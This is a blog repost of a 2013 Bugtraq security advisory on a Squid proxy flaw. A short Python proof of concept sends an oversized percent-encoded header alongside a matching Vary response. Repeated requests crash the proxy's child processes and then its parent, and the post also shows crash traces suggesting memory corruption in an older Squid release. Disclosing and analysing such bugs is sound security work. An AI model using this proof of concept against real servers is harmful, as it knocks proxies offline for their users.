Friday, March 8, 2013

Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption.

bugtraq logo Bugtraq mailing list archives

Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption.
From: tytusromekiatomek () hushmail com
Date: Tue, 05 Mar 2013 20:59:43 +0000

############################################################## # httpMakeVaryMark() header value 'value' (http.cc:603 line) # ############################################################## # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # #######################################  # Versions: 3.2.5    It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:   Request   -- cut --   #!/usr/bin/env python   print 'GET /index.html HTTP/1.1'   print 'Host: localhost'   print 'X-HEADSHOT: ' + '%XX' * 19000   print '\r\n\r\n'   -- cut --    Response   -- cut --   HTTP/1.1 200 OK   Vary: X-HEADSHOT   -- cut --    Code:    In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is   passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example   percent signs. This mean that the single charachter in request is now triple in length   (e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).    This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert   is invoked, which kills the child. When child is killed the Kid::stop() is called, which   increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,   then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main   process of squid (parent) with the following message:   "Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"    src/http.cc:   573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)   574 {   575     String vary, hdr;   576     const char *pos = NULL;   577     const char *item;   578     const char *value;   579     int ilen;   580     static String vstr;   581   582     vstr.clean();   583     vary = reply->header.getList(HDR_VARY);   584   585     while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {   586         char *name = (char *)xmalloc(ilen + 1);   587         xstrncpy(name, item, ilen + 1);   588         Tolower(name);   589   590         if (strcmp(name, "*") == 0) {   591             /* Can not handle "Vary: *" withtout ETag support */   592             safe_free(name);   593             vstr.clean();   594             break;   595         }   596   597         strListAdd(&vstr, name, ',');   598         hdr = request->header.getByName(name);   599         safe_free(name);   600         value = hdr.termedBuf();   601   602         if (value) {   603             value = rfc1738_escape_part(value);   604             vstr.append("=\"", 2);   605             vstr.append(value);   606             vstr.append("\"", 1);   607         }    lib/rfc1738.c:   143         /* Do the triplet encoding, or just copy the char */   144         if (do_escape == 1) {   145             (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);   146             dst += sizeof(char) * 2;   147         } else {   148             *dst = *src;   149         }    src/String.cc:   186 String::append( char const *str, int len)   187 {   188     assert(this);   189     assert(str && len >= 0);   190   191     PROF_start(StringAppend);   192     if (len_ + len < size_) {   193         strncat(buf_, str, len);   194         len_ += len;   195     } else {   196         // Create a temporary string and absorb it later.   197         String snew;   198         assert(len_ + len < 65536); // otherwise snew.len_ overflows below   199         snew.len_ = len_ + len;   200         snew.allocBuffer(snew.len_ + 1);   201   202         if (len_)   203             memcpy(snew.buf_, rawBuf(), len_);   204   205         if (len)   206             memcpy(snew.buf_ + len_, str, len);   207   208         snew.buf_[snew.len_] = '\0';   209   210         absorb(snew);   211     }   212     PROF_stop(StringAppend);   213 }    src/ipc/Kid.cc:   46 /// called when kid terminates, sets exiting status   47 void Kid::stop(status_type exitStatus)   48 {   49     assert(running());   50     assert(startTime != 0);   51   52     isRunning = false;   53   54     time_t stop_time;   55     time(&stop_time);   56     if ((stop_time - startTime) < fastFailureTimeLimit)   57         ++badFailures;   58     else   59         badFailures = 0; // the failures are not "frequent" [any more]   60   61     status = exitStatus;   62 }   70 /// returns true if master process should restart this kid   71 bool Kid::shouldRestart() const   72 {   73     return !(running() ||   74              exitedHappy() ||   75              hopeless() ||   76              shutting_down ||   77              signaled(SIGKILL) || // squid -k kill   78              signaled(SIGINT) || // unexpected forced shutdown   79              signaled(SIGTERM)); // unexpected forced shutdown   80 }    src/ipc/Kid.h:   23     /// keep restarting until the number of bad failures exceed this limit   24     enum { badFailureLimit = 4 };   25   26     /// slower start failures are not "frequent enough" to be counted as "bad"   27     enum { fastFailureTimeLimit = 10 }; // seconds    # BONUS POINT ;-)  # Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*     #3  0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized  out>) at malloc.c:6283   #16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397 and    #3  0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)",  ptr=<optimized out>) at malloc.c:6283   #9  0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397 and    #3  0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks",  ptr=<optimized out>) at malloc.c:6283   #9  0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397 and    #3  0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)",  ptr=<optimized out>) at malloc.c:6283   #9  0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398 EOF  

??By Date?? ????? ??By Thread??

Current thread:
  • Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption. tytusromekiatomek (Mar 06)

Source: http://seclists.org/bugtraq/2013/Mar/27

scalloped potatoes the ten commandments charlton heston moses tulsa shooting doug fister rick warren

No comments:

Post a Comment